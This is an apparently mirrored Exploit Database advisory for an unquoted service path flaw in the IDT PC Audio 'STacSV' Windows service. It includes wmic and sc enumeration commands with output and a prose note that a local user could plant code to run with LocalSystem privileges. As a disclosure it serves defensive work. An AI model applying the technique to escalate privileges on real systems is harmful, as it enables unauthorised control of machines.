IDT PC Audio 1.0.6433.0 – ‘STacSV’ Unquoted Service Path

• Exploit Database
• 15 阅读

• 作者： Manuel Alvarez
  日期： 2020-12-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/49157/

• # Exploit Title: IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path
  # Discovery by: Manuel Alvarez
  # Software link: https://www.pconlife.com/download/otherfile/20566/e82994866a370a480607637f28b82835/
  # Discovery Date: 2020-11-27
  # Tested Version: 1.0.6433.0
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 x64 es
  
  # Step to discover Unquoted Service Path:
  
  C:\>wmic service get name, displayname, pathname, startmode | findstr /i
  "Auto" |findstr /i /v "C:\Windows\\" | findstr /i /v """
  
  Audio service STacSV c:\Program Files\IDT\WDM\STacSV64.exeAuto
  
  # Service info:
  
  C:\>sc qc StacSV
  [SC] QueryServiceConfig CORRECTO
  
  NOMBRE_SERVICIO: StacSV
  TIPO : 10WIN32_OWN_PROCESS
  TIPO_INICIO: 2 AUTO_START
  CONTROL_ERROR: 1 NORMAL
  NOMBRE_RUTA_BINARIO: C:\Program Files\IDT\WDM\STacSV64.exe
  GRUPO_ORDEN_CARGA: AudioGroup
  ETIQUETA : 0
  NOMBRE_MOSTRAR : Audio Service
  DEPENDENCIAS :
  NOMBRE_INICIO_SERVICIO: LocalSystem
  
  #Exploit:
  
  A successful attempt would require the local user to be able to insert
  their code in the system root path undetected by the OS or other security
  applications where it could potentially be executed during application
  startup or reboot. If successful, the local user's code would execute with
  the elevated privileges of the application.